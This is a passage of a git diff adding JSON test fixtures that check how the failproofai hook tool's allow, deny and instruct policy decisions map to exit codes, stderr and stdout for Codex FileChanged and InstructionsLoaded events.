"parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8d3a78dc --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..6fe85826 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..110bcfc1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..16e4012c --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2d4dd9f7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..328ae2d3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f5c34eeb --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4d26395f --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4a1d8d51 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..85a87350 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..cc390aaa --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3161e5b0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..73f7022a --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ccfafeaa --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ef6b7772 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8b42e945 --- /dev/null +++ b/__tests__/parity/fixtures/codex/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a7ed5bce --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4e8e2805 --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2edafcca --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..be570bb7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": 